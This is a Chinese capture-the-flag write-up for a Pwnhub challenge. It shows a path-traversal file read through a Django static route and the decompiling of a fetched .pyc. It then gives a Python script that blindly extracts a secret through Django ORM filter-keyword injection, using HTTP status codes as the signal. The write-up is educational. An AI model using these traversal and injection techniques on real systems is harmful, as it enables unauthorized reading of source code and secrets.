Quantcast
Channel: CodeSection,代码区,Python开发技术文章_教程 - CodeSec
Viewing all articles
Browse latest Browse all 9596

Pwnhub第一期题目-找个帮手 wp

$
0
0

很开心再次有这么一个平台,感谢长亭的师傅们:)

一个关于python的小代码审计


Pwnhub第一期题目-找个帮手 wp

首先发现static目录,测试发现可任意读取文件,然后发现过滤了py,但pyc没有过滤,引人

深思,burp看了下发现是django,CPython/3.5.2,发现了存在pyc文件:

urls/ init /views/models

于是下载下来:

Desktop curl http://54.223.46.206:8003/static%2f..%2f__pycache__%2furls.cpython-35.pyc > 1.pyc

% Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed

100 469 0 469 0 0 2478 0 --:--:-- --:--:-- --:--:-- 2481

Desktop uncompyle6 1.pyc > 4.py

得到源码后进行分析,问题出在这里:


Pwnhub第一期题目-找个帮手 wp

对于post的数据进行json处理,而在django中,我们可以传参数进行执行,这样也就导致了我们可以任意注入:

<filter:where **data:and>

payload:{"passkey__startswith":"xxxxxxxxxxxxxxxxxxx"}

这样很明显,如果存在数据,那么if not会过,但是data['passkey']不存在,会导致500。不存在就是0,if not 0 =>403

本来以为是要注入用户名密码...结果发现注出来长亭那个账号进去了no egg use...

于是看了下,发现还有group类,而且ForeignKey,看了下secret那个字段值得怀疑QAQ: 那就怼一下,拿起小py,得到flag:

import requests import demjson payloads='abcdefghigklmnopqrstuvwxyz0{}123456789@_.#@' secret = "pwnhub{flag:" while True: for payload in payloads: r = requests.post("http://54.223.46.206:8003/login/", data=demjson.encode({"group__secret__contains": secret + payload})) if r.status_code == 500: secret += payload print "flag===>"+secret break


Viewing all articles
Browse latest Browse all 9596

Latest Images

Trending Articles